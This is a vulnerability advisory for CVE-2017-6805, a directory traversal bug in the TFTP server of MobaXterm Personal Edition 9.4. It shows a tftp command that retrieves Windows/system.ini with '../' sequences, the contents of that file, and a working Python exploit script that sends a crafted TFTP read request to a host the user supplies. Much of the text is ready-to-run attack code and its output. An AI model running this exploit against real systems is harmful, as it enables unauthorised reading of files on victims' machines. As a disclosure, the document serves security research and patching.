MobaXterm Personal Edition 9.4 - Directory Traversal

[+] Credits: John Page AKA hyp3rlinx	

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/MOBAXTERM-TFTP-PATH-TRAVERSAL-REMOTE-FILE-ACCESS.txt

[+] ISR: ApparitionSec            

 





Vendor:

=====================

mobaxterm.mobatek.net







Product:

===============================

MobaXterm Personal Edition v9.4



Enhanced terminal for Windows with X11 server, tabbed SSH client, network tools and much more.







Vulnerability Type:

=====================================

Path Traversal Remote File Disclosure









CVE Reference:

==============

CVE-2017-6805







Security Issue:

================

Remote attackers can use UDP socket connection to TFTP server port 69 and send Read request, to retrieve otherwise protected files using

directory traversal attacks e.g.  ../../../../Windows/system.ini



Start MobaXterm TFTP server which listens on default TFTP port 69.



c:\>tftp -i 127.0.0.1 GET ../../../../Windows/system.ini

Transfer successful: 219 bytes in 1 second(s), 219 bytes/s



c:\xampp\htdocs>type system.ini

; for 16-bit app support

[386Enh]

woafont=dosapp.fon

EGA80WOA.FON=EGA80WOA.FON

EGA40WOA.FON=EGA40WOA.FON

CGA80WOA.FON=CGA80WOA.FON

CGA40WOA.FON=CGA40WOA.FON



[drivers]

wave=mmdrv.dll

timer=timer.drv



[mci]



Victim Data located on: 127.0.0.1







POC URL:

=============================

https://vimeo.com/207516364









Exploit:

==========



import sys,socket



print 'MobaXterm TFTP Directory Traversal 0day Exploit'

print 'Read Windows/system.ini'

print 'hyp3rlinx \n'



HOST = raw_input("[IP]>")

FILE = 'Windows/system.ini' 

PORT = 69                                        

 

PAYLOAD = "\x00\x01"                                #TFTP Read 

PAYLOAD += "../" * 4 + FILE + "\x00"                #Read system.ini using directory traversal

PAYLOAD += "netascii\x00"                           #TFTP Type

 

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

s.sendto(PAYLOAD, (HOST, PORT))

out = s.recv(1024)

s.close()



print "Victim Data located on : %s " %(HOST)

print out.strip()







Network Access:

===============

Remote







Severity:

=========

High







Disclosure Timeline:

=============================

Vendor Notification: No Reply

March 10, 2017  : Public Disclosure







[+] Disclaimer

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.

Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and

that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit

is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility

for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information

or exploits by the author or elsewhere. All content (c).



hyp3rlinx